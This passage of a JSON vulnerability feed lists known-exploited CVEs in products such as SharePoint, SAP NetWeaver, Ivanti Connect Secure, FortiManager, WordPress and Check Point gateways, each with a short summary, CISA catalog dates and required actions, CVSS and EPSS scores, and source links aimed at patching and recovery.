available.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:W/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2025-53770","asOf":"2026-02-13T19:07:56.860Z"},"epss":{"probability":0.99999,"percentile":0.99991,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-53770&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"Microsoft's incident analysis does not attribute the attackers' exploitation to AI. Mentioning defensive AI products in the article is not attacker AI evidence.","sourceUrl":null},"sources":[{"name":"Microsoft Threat Intelligence SharePoint investigation","url":"https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/","type":"primary","publishedAt":"2025-07-22","checkedAt":"2026-10-26","supports":"Observed related exploitation, SharePoint Online exclusion, machine-key theft, ransomware, and updated recovery guidance."},{"name":"CISA KEV JSON: CVE-2025-53770","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"This CVE's membership, patch-bypass relationship, addition date, federal due date, and required action."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-53770&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-53770, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA microsoft","url":"https://cveawg.mitre.org/api/cve/CVE-2025-53770","type":"primary","publishedAt":"2025-07-20T01:06:33.607Z","checkedAt":"2026-10-26T13:40:05.166Z","supports":"The published CVE-2025-53770 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"editorial","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":"2026-10-26"},"reviewed":false},{"id":"CVE-2025-31324","cveId":"CVE-2025-31324","aliases":[],"kind":"vulnerability","title":"SAP NetWeaver Visual Composer malicious file upload","summary":"Missing authorization on Visual Composer's Metadata Uploader allows unauthenticated upload of malicious executable files. SAP's CNA identifies VCFRAMEWORK 7.50; CISA lists known exploitation, and Onapsis reports pre-patch compromises.","detail":"The issue is specific to the Visual Composer component, not every SAP installation. Onapsis's combined investigation also describes the distinct deserialization CVE-2025-42999 and advises applying SAP Security Note 3604119 in addition to the initial CVE-2025-31324 correction.","action":"Apply SAP's applicable security corrections and consult the combined Onapsis guidance for Notes 3594142 and 3604119. Assess compromise and persistence; updating software does not remove an already installed web shell.","publishedAt":"2025-04-24","updatedAt":"2026-05-21","regions":["Global"],"vendor":"SAP","product":"SAP NetWeaver Visual Composer development server","stacks":["SAP","Java","Enterprise ERP","Web applications","NetWeaver"],"knownExploited":true,"zeroDay":true,"kev":{"addedAt":"2025-04-29","dueAt":"2025-05-20","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2025-31324","asOf":"2025-04-24T16:50:27.706Z"},"epss":{"probability":0.99486,"percentile":0.99944,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-31324&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The sources establish vulnerability exploitation, not attacker use of AI for scanning, patch analysis, or payload creation.","sourceUrl":null},"sources":[{"name":"Onapsis investigation of CVE-2025-31324 and CVE-2025-42999","url":"https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/","type":"primary","publishedAt":"2025-05-13","checkedAt":"2026-10-26","supports":"Observed pre-patch exploitation, component applicability, additional Security Note 3604119, and compromise assessment."},{"name":"CISA KEV JSON: CVE-2025-31324","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"This CVE's membership, addition date, federal due date, required action, and known ransomware-use field."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-31324&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-31324, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA sap","url":"https://cveawg.mitre.org/api/cve/CVE-2025-31324","type":"primary","publishedAt":"2025-04-24T16:50:27.706Z","checkedAt":"2026-10-26T13:40:05.166Z","supports":"The published CVE-2025-31324 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"editorial","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":"2026-10-26"},"reviewed":false},{"id":"CVE-2025-0282","cveId":"CVE-2025-0282","aliases":[],"kind":"vulnerability","title":"Ivanti Connect Secure unauthenticated buffer overflow","summary":"A stack-based buffer overflow affects Ivanti Connect Secure, Policy Secure, and Neurons for ZTA gateways. Mandiant identified zero-day exploitation of Connect Secure beginning in mid-December 2024; this does not establish exploitation of every affected product.","detail":"Ivanti's CNA identifies Connect Secure 22.7R2.5 as unaffected by this CVE. CISA revised its recovery instructions on March 28, 2025 after identifying RESURGE malware. A clean integrity-check result alone is not proof that an appliance was never compromised.","action":"Follow CISA's updated hunt, reset, patch, and recovery instructions. Use an external known-clean image for cloud or virtual factory resets, investigate connected systems, and revoke exposed credentials, keys, and certificates when compromise is found.","publishedAt":"2025-01-08","updatedAt":"2025-03-28","regions":["Global"],"vendor":"Ivanti","product":"Connect Secure, Policy Secure, and Neurons for ZTA gateways","stacks":["Ivanti","Firewall / VPN","Network edge","Connect Secure, Policy Secure, and ZTA Gateways"],"knownExploited":true,"zeroDay":true,"kev":{"addedAt":"2025-01-08","dueAt":"2025-01-15","action":"Apply mitigations as set forth in the CISA instructions linked below to include conducting hunt activities, taking remediation actions if applicable, and applying updates prior to returning a device to service.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2025-0282","asOf":"2025-01-08T22:15:09.386Z"},"epss":{"probability":0.99981,"percentile":0.99982,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-0282&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The cited investigation and mitigation instructions do not establish AI-assisted exploitation.","sourceUrl":null},"sources":[{"name":"Mandiant Ivanti zero-day investigation","url":"https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day","type":"primary","publishedAt":"2025-01-08","checkedAt":"2026-10-26","supports":"Observed pre-disclosure exploitation of Connect Secure and limitations of integrity checking."},{"name":"CISA mitigation instructions for CVE-2025-0282","url":"https://www.cisa.gov/cisa-mitigation-instructions-CVE-2025-0282","type":"primary","publishedAt":null,"checkedAt":"2026-10-26","supports":"March 28, 2025 revision, threat hunting, known-clean factory reset images, patching, and credential recovery."},{"name":"CISA KEV JSON: CVE-2025-0282","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"This CVE's membership, addition date, federal due date, required action, and known ransomware-use field."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-0282&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-0282, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA ivanti","url":"https://cveawg.mitre.org/api/cve/CVE-2025-0282","type":"primary","publishedAt":"2025-01-08T22:15:09.386Z","checkedAt":"2026-10-26T13:40:05.166Z","supports":"The published CVE-2025-0282 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"editorial","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":"2026-10-26"},"reviewed":false},{"id":"CVE-2024-47575","cveId":"CVE-2024-47575","aliases":[],"kind":"vulnerability","title":"FortiManager missing authentication in device management","summary":"Missing authentication in FortiManager's fgfmd daemon permits remote code or command execution. Fortinet confirms exploitation; Mandiant documented pre-disclosure theft of managed-device configuration data.","detail":"Mandiant observed exploitation as early as June 27, 2024, but did not establish follow-on lateral movement in its published investigation. Fortinet warns that unauthorized-device registration logs on patched systems are not, by themselves, proof of successful compromise.","action":"Apply the appropriate Fortinet fixed release and restrict device-management access. Investigate exposed systems and follow Fortinet's recovery instructions, including changing credentials and sensitive secrets of managed devices when compromise is suspected.","publishedAt":"2024-10-23","updatedAt":"2024-11-27","regions":["Global"],"vendor":"Fortinet","product":"FortiManager and affected FortiManager Cloud releases","stacks":["Fortinet","FortiManager","Firewall / VPN","Network edge"],"knownExploited":true,"zeroDay":true,"kev":{"addedAt":"2024-10-23","dueAt":"2024-11-13","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RL:U/RC:C","sourceUrl":"https://fortiguard.fortinet.com/psirt/FG-IR-24-423","asOf":"2026-10-26"},"epss":{"probability":0.94766,"percentile":0.99858,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-47575&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The vendor describes scripted exfiltration, which does not establish AI involvement.","sourceUrl":null},"sources":[{"name":"Fortinet PSIRT FG-IR-24-423","url":"https://fortiguard.fortinet.com/psirt/FG-IR-24-423","type":"primary","publishedAt":"2024-10-23","checkedAt":"2026-10-26","supports":"Mechanism, affected releases, CVSS 3.1, known exploitation, IOC caveats, and recovery guidance."},{"name":"Mandiant FortiManager zero-day investigation","url":"https://cloud.google.com/blog/topics/threat-intelligence/fortimanager-zero-day-exploitation-cve-2024-47575","type":"primary","publishedAt":"2024-10-23","checkedAt":"2026-10-26","supports":"Pre-disclosure exploitation, configuration exfiltration, and limits of the observed follow-on activity."},{"name":"CISA KEV JSON: CVE-2024-47575","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"This CVE's membership, addition date, federal due date, and required action; ransomware use is unknown."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-47575&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-47575, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"editorial","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":"2026-10-26"},"reviewed":false},{"id":"CVE-2026-67279","cveId":"CVE-2026-67279","aliases":[],"kind":"vulnerability","title":"Mikrotik RouterOS Improper Enforcement of Behavioral Workflow Vulnerability","summary":"Mikrotik RouterOS contains an improper enforcement of behavioral workflow vulnerability that could allow an unauthenticated client to open a session channel and send an exec request. This vulnerability can be chained to achieve unauthenticated exploitation of CVE-2026-86060.","detail":"CISA added this entry on 2026-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-25","updatedAt":null,"regions":["Global"],"vendor":"MikroTik","product":"RouterOS","stacks":["MikroTik","RouterOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-25","dueAt":"2026-09-28","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-67279","asOf":"2026-09-05T20:40:29.029Z"},"epss":{"probability":0.02277,"percentile":0.82988,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-67279&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-67279","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-67279 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-67279&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-67279, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA CERT-PL","url":"https://cveawg.mitre.org/api/cve/CVE-2026-67279","type":"primary","publishedAt":"2026-09-05T20:00:57.894Z","checkedAt":"2026-10-26T14:31:00.258Z","supports":"The published CVE-2026-67279 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:31:00.258Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87902","cveId":"CVE-2026-87902","aliases":[],"kind":"vulnerability","title":"WordPress Core Remote File Inclusion Vulnerability","summary":"WordPress Core contains a remote file inclusion vulnerability which could allow an unauthenticated attacker to make page-template resolution include a chosen readable local `.php` file outside the active theme directories, leading to remote code execution.","detail":"CISA added this entry on 2026-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-25","updatedAt":null,"regions":["Global"],"vendor":"WordPress","product":"Core","stacks":["WordPress","Core"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-25","dueAt":"2026-09-28","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-87902","asOf":"2026-09-26T03:55:51.560Z"},"epss":{"probability":0.95769,"percentile":0.99871,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87902&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-87902","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-87902 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87902&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87902, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2026-87902","type":"primary","publishedAt":"2026-09-22T16:44:15.048Z","checkedAt":"2026-10-26T14:46:55.080Z","supports":"The published CVE-2026-87902 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:46:55.080Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-5430","cveId":"CVE-2026-5430","aliases":[],"kind":"vulnerability","title":"WSO2 Multiple Products Path Traversal Vulnerability","summary":"WSO2 API Control Plane, API Manager, Traffic Manager & Universal Gateway contain a path traversal vulnerability that could allow for unrestricted file upload and lead to remote code execution.","detail":"CISA added this entry on 2026-09-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-24","updatedAt":null,"regions":["Global"],"vendor":"WSO2","product":"Multiple Products","stacks":["WSO2","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-24","dueAt":"2026-09-27","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-5430","asOf":"2026-08-06T07:33:28.156Z"},"epss":{"probability":0.2239,"percentile":0.97677,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-5430&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-5430","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-5430 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-5430&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-5430, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA WSO2","url":"https://cveawg.mitre.org/api/cve/CVE-2026-5430","type":"primary","publishedAt":"2026-08-06T07:33:28.156Z","checkedAt":"2026-10-26T14:46:55.080Z","supports":"The published CVE-2026-5430 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:46:55.080Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85102","cveId":"CVE-2026-85102","aliases":[],"kind":"vulnerability","title":"Check Point Multiple Products Improper Certificate Validation Vulnerability","summary":"Check Point Security Gateway and Check Point Spark Firewall using Site to Site VPN or Remote Access VPN contain an improper certificate validation vulnerability which could allow an unauthenticated remote attacker to execute arbitrary code on the Gateway.","detail":"CISA added this entry on 2026-09-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-22","updatedAt":null,"regions":["Global"],"vendor":"Check Point","product":"Multiple Products","stacks":["Check Point","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-22","dueAt":"2026-09-25","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-85102","asOf":"2026-09-09T13:00:31.206Z"},"epss":{"probability":0.5414,"percentile":0.98999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85102&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-85102","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-85102 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85102&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85102, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA checkpoint","url":"https://cveawg.mitre.org/api/cve/CVE-2026-85102","type":"primary","publishedAt":"2026-09-09T13:00:31.206Z","checkedAt":"2026-10-26T14:46:55.080Z","supports":"The published CVE-2026-85102 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:46:55.080Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93616","cveId":"CVE-2026-93616","aliases":[],"kind":"vulnerability","title":"Check Point Multiple Products Path Traversal Vulnerability","summary":"Check Point Security Management Server, Multi-Domain Security Management Server, Log Server, Multi-Domain Log Server, and SmartEvent contain a path traversal vulnerability that allows an unauthenticated attacker to upload and execute arbitrary scripts.","detail":"CISA added this entry on 2026-09-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-22","updatedAt":null,"regions":["Global"],"vendor":"Check Point","product":"Multiple Products","stacks":["Check Point","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-22","dueAt":"2026-09-25","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-93616","asOf":"2026-09-22T12:59:01.057Z"},"epss":{"probability":0.91605,"percentile":0.99812,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93616&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-93616","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-93616 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93616&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93616, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA checkpoint","url":"https://cveawg.mitre.org/api/cve/CVE-2026-93616","type":"primary","publishedAt":"2026-09-22T12:59:01.057Z","checkedAt":"2026-10-26T14:46:55.080Z","supports":"The published CVE-2026-93616 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:46:55.080Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93952","cveId":"CVE-2026-93952","aliases":[],"kind":"vulnerability","title":"Arista VeloCloud Orchestrator Improper Input Validation Vulnerability","summary":"Arista VeloCloud Orchestrator (VCO) on-prem contains an improper input validation vulnerability that may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator.","detail":"CISA added this entry on 2026-09-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-22","updatedAt":null,"regions":["Global"],"vendor":"Arista","product":"VeloCloud Orchestrator","stacks":["Arista","VeloCloud Orchestrator"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-22","dueAt":"2026-09-25","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s 